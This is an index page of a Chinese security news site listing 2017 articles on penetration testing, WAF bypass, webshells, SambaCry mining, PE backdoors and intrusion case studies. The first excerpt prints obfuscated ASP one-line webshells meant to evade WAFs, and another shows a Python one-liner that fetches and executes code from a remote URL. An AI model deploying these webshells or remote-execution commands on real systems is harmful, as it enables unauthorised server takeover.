欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!
  • 过狗版php一句话
  • 几个变性的asp–过防火墙 过狗效果都不错 1 <%Y=request("x")%> <%execute(Y)%> 1 <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%> 这个是90sec发的 1 <%eval""......
  • 所属分类:网站安全 更新时间:2017-06-18 相关标签: 阅读全文...
  • SambaCry真的来了,利用CVE-2017-7494漏洞来挖矿
  • 两周前我们曾经预警过一个Samba远程代码执行漏洞,这款漏洞能够影响影响7年前的Samba版本,黑客可以利用漏洞进行远程代码执行。更多漏洞原理及利用细节可以参考我们之前的报道。 由于具备与永恒之蓝相似的传播性,大......
  • 所属分类:网站安全 更新时间:2017-06-13 相关标签: 阅读全文...
  • 暗云Ⅲ危害——不仅仅是DDoS
  • 0×00概况 前面对暗云的分析报告中,腾讯电脑管家 安全团队 基本摸清暗云Ⅲ的感染方式和传播方式,也定位到被感染暗云Ⅲ的机器会在启动时从服务端下载任务脚本包——ndn.db文件,且该文件会常进行更换。此......
  • 所属分类:网站安全 更新时间:2017-06-13 相关标签: 阅读全文...
  • 如何通过 SSH 隧道进行域渗透的 PtT 攻击
  • 前言 如果我们在渗透过程中能够拿到用户的 TGT,并能将其导入到内存,那么就可以冒充该用户获得其访问权限,这就是 Pass the ticket(PtT)。PtT 技术使用 Kerberos ticket 来代替明文密码或 NTLM 散列。大多数......
  • 所属分类:网站安全 更新时间:2017-06-12 相关标签: 阅读全文...
  • 深度追踪WannaCry源头轶事
  • 注1:基于隐私问题,本文中隐去黑客相关信息,如有关部门需要,请与腾讯反病毒实验室联系。 注2 : 自WannaCry爆发以来,腾讯反病毒实验室一直在深入跟进整体传播态势,通过各种渠道,汇集各类信息 , 努力深挖敲诈......
  • 所属分类:网站安全 更新时间:2017-06-12 相关标签: 阅读全文...
  • 论二级域名收集的各种姿势
  • 测试dns域传送 测试方式如图: 当然,这种方式不一定都能成功,但也不失为一种获取二级域名的方式。 反查whois 工具:站长工具 1 查询whois http://whois.chinaz.com/baidu.com 2 反查whois http://whois.......
  • 所属分类:网站安全 更新时间:2017-06-12 相关标签: 阅读全文...
  • 安全小故事之“你不仁,我不义”
  • 最近某互联网公司的员工小刘很是郁闷,因为自己的粗心,与客户签订的合同价格少写了一个0,造成了公司的巨大损失,经公司高层讨论决定开除小刘。但是小刘认为自己的合同是经领导检查通过,不应该由自己负全部责任,......
  • 所属分类:网站安全 更新时间:2017-06-12 相关标签: 阅读全文...
  • 服务端注入之Flask框架中服务端模板注入问题
  • Flask 是python语言编写的轻量级的MVC (也可以称为MTV, T: Template)框架 具体详见 http://docs.jinkan.org/docs/flask/ 对于Flask 框架本身,本文不做讨论。 本文主要通过几个例子,测试说明下Flask框架中服务......
  • 所属分类:网站安全 更新时间:2017-06-05 相关标签: 阅读全文...
  • 针对MSSQL弱口令实战流程梳理与问题记录
  • 1. 端口发现 1.1. 常用工具推荐 常用端口扫描工具,其实很多这里不做过多的说明,本人还是以经典好用的nmap进行实际操练。 nmap nmap工具的下载,请直接去其官方网站下载即可。 ssport ssport 是个简单快速的......
  • 所属分类:网站安全 更新时间:2017-06-05 相关标签: 阅读全文...
  • 一款强大的WordPress漏洞利用框架 – WPXF
  • 今天给大家介绍的工具是一款Ruby框架,该框架采用模块化开发,旨在帮助安全研究专家对基于WordPress的网站和系统进行渗透测试工作。 工具下载:【 GitHub主页 】 工具运行要求 确保你系统中安装的Ruby版本>=2.2......
  • 所属分类:网站安全 更新时间:2017-06-03 相关标签: 阅读全文...
  • 如何使用kali的Searchsploit查找软件漏洞
  • Searchsploit Searchsploit会通过本地的exploit-db, 查找软件漏洞信息 打开kali的命令行, 输入: searchsploit 查看系统帮助 查找mssql的漏洞 如果要查找 mssql的漏洞, 命令如下, 会找到所有和mssql相......
  • 所属分类:网站安全 更新时间:2017-06-03 相关标签: 阅读全文...
  • 看我如何使用数据格式混淆来绕过WAF进行攻击?
  • 这个问题目前是没有成功解决,因为解析相关数据类型需要进行准确的流量分析。很多防火墙只是采用了一些很简单的方法对这些数据进行处理。在处理HTTP协议中,常见简单方法如下: 1. 使用Content-Type HTTP标头进行......
  • 所属分类:网站安全 更新时间:2017-06-02 相关标签: 阅读全文...
  • 如何在PE文件中手动植入一个后门
  • 一、简介 1.1 什么是后门 在本文中,后门植入指的是使看似无害的可执行文件(即PE文件,Portable Executable)执行恶意载荷的一种技术。包括启动calc.exe、添加用户账户以及获取远程shell等都可以算是恶意载荷。任......
  • 所属分类:网站安全 更新时间:2017-06-02 相关标签: 阅读全文...
  • autossh 通过外网穿透内网实验测试
  • 摘要: 前几天朋友有一个需求,说是如何从外网访问内网OA系统,但是没有路由器的权限,所以我在想如果能拿到路由器的权限做个端口映射不就行了,但是有时候人家就是不给你映射,咋的。下来做个实验不用路由器的映射来......
  • 所属分类:网站安全 更新时间:2017-05-30 相关标签: 阅读全文...
  • APT案例分析:一个基于meterpreter和Windows代理的攻击事件
  • 前言 几个月前,在只可以通过代理进行访问的公司windows网络中,我对其进行了我开发的模拟定制的APT攻击。在测试过程中,我意外的发现我可以上传https返回类型的meterpreter后门。一开始,我并不确定这个地方存在漏......
  • 所属分类:网站安全 更新时间:2017-05-30 相关标签: 阅读全文...
  • webshell的另一用途
  • 不知道大家都用不用www.yas*.com,旧版是www.bug.net。挂载各种插件,不过扫描要添加在线引擎节点。 你也可以自己电脑执行python -c "exec(__import__('urllib').urlopen('http://www.yascr.com/xxxxxyyyyyzzzzzz')......
  • 所属分类:网站安全 更新时间:2017-05-29 相关标签: 阅读全文...
  • 如何使用谷歌Chrome浏览器窃取Windows密码
  • ​ 写在前面的话 利用Windows操作系统的SMB文件共享协议来窃取身份凭证的攻击技术长久以来都一直存在,这是一个难以避免的问题。虽然这种技术有多种实现方式,但大多都局限于本地网络内。在过去的十多年里,还......
  • 所属分类:网站安全 更新时间:2017-05-25 相关标签: 阅读全文...
  • NodeJs的包漏洞扫描与漏洞测试攻击
  • 一个典型的Node应用可能会有几百个,甚至上千个包依赖(大部分的依赖是间接的,即下载一个包,这个包会依赖其他的好多包),所以最终的结果是,应用程序就会像是这个样子的: 和所依赖的包相比,自己写的代码量就......
  • 所属分类:网站安全 更新时间:2017-05-25 相关标签: 阅读全文...
  • Acesss数据库手工绕过通用代码防注入系统
  • 渗透过程就是各种安全技术的再现过程,本次渗透从SQL注入点的发现到绕过sql注入通用代码的防注入,可以说是打开了一扇门,通过sql注入获取管理员密码,获取数据库,如果在条件允许的情况下是完全可以获取webshell。在......
  • 所属分类:网站安全 更新时间:2017-05-22 相关标签: 阅读全文...
  • 从目录信息泄露到渗透内网
  • 1.目录信息泄露 目录信息泄露是指当当前目录无index.html/index.asp/index.php/index.asp.net等指定主页的情况下,直接显示目录下所有的文件及其目录。测试方法和简单,在网站路径后输入目录名称即可,一般的扫描软......
  • 所属分类:网站安全 更新时间:2017-05-22 相关标签: 阅读全文...
  • 渗透测试02------查点总结
  • 一:最基本的标语抓取技术 使用telnet和netcat telnet: 1. 在CMD中输入telnet www.myhack58.com 80 回车 2. 然后屏幕应该是全黑,然后按CTRL+] ,然后回车,又是一片黑 3. 输入 GET / HTTP/1.1 回车 继......
  • 所属分类:网站安全 更新时间:2017-05-21 相关标签: 阅读全文...
  • 渗透测试01------踩点加扫描总结
  • 一:踩点 踩点是渗透测试的第一步也是尤为总要的一步,知其知彼方能百战百胜,能够从对方最薄弱的地方进去为啥还要去挑战困难呢? 踩点我们需要了解对方越多越好,比如:域名,网络地址块和子网,服务器IP地址,......
  • 所属分类:网站安全 更新时间:2017-05-21 相关标签: 阅读全文...
  • CVE-2017-7269写shell思路与综合利用工具
  • iis6 webdav漏洞在有些时候还是很好用的,例如说内网某些老旧的机器上。 只可惜利用方式太不友好,msf这种庞然大物用在web上真的是一点也不贴切。 iis支持各种脚本,如果能写webshell就再好不过了。 0x01 查找物理......
  • 所属分类:网站安全 更新时间:2017-05-19 相关标签: 阅读全文...
  • 某云用户网站入侵应急响应
  • 1 情况概述 该案例是前期应急处置的一起因安全问题导致的内网不稳定的情况。写下来,和大家一起讨论应急响应的一些思路及其中间遇到的一些坑,欢迎大牛指点、讨论。 情况是这样的:某用户发现在网络经常出现内网中......
  • 所属分类:网站安全 更新时间:2017-05-16 相关标签: 阅读全文...
  • 如何绕过WAF/NGWAF的libinjection实现SQL注入
  • 在我们开始之前,先给大家介绍一下libinjection。libinjection是一个非常流行的开源项目【传送门】,该项目由Signal Sciences公司的Nick Galbreath负责开发和维护。 在此之前,市场上绝大多数的WAF都是基于正则匹配......
  • 所属分类:网站安全 更新时间:2017-05-16 相关标签: 阅读全文...
  • 记一次从端口突破到内网渗透的过程
  • 目标站点http://www.xxxxxx.gov.cn 一个国土资源局的网站收集下信息先通过站长工具得到ip xxx.xxx.xxx.xxx 脚本 proxychains nmap -sT xxxxx 这样才行的。 必须指定使用TCP连接扫描。...
  • 所属分类:网站安全 更新时间:2017-05-11 相关标签: 阅读全文...
  • 网站易被攻击原因及保护措施
  • “有人用心做站,有人‘用心’攻击”,这是互联网中最常态的问题。 那网站为什么容易遭受攻击呢? 本文归纳了OWASP组织提出的前十大网络漏洞,包括对每个问题的描述、真实案例以及如何修复网站漏洞。 一、注入漏......
  • 所属分类:网站安全 更新时间:2017-05-08 相关标签: 阅读全文...
  • 手把手教你如何使用Docker进行Web渗透测试
  • 介绍 Docker是目前世界上最为先进的应用软件容器平台,Docker允许我们为每一种渗透测试任务创建不同的测试环境。在应用容器的帮助下,我们既可以将每一种测试环境存储在U盘中以方便携带,我们也可以将其保存在云端......
  • 所属分类:网站安全 更新时间:2017-05-05 相关标签: 阅读全文...
  • 利用Outlook Forms绕过VB宏,获取目标Shell
  • 利用宏规则散布恶意程序已成为众所周知的途径,因此许多人都通过禁用宏规来保护信息安全。但如今,“宏”似乎 变成了一个可以绕过的障碍。此前的Word 0-day漏洞就无需启用宏,只需打开文档便可植入恶意程序。而此次......
  • 所属分类:网站安全 更新时间:2017-05-05 相关标签: 阅读全文...
  • 本类最新更新
    • 本类热门文章
      • 最新下载
        • 标签云集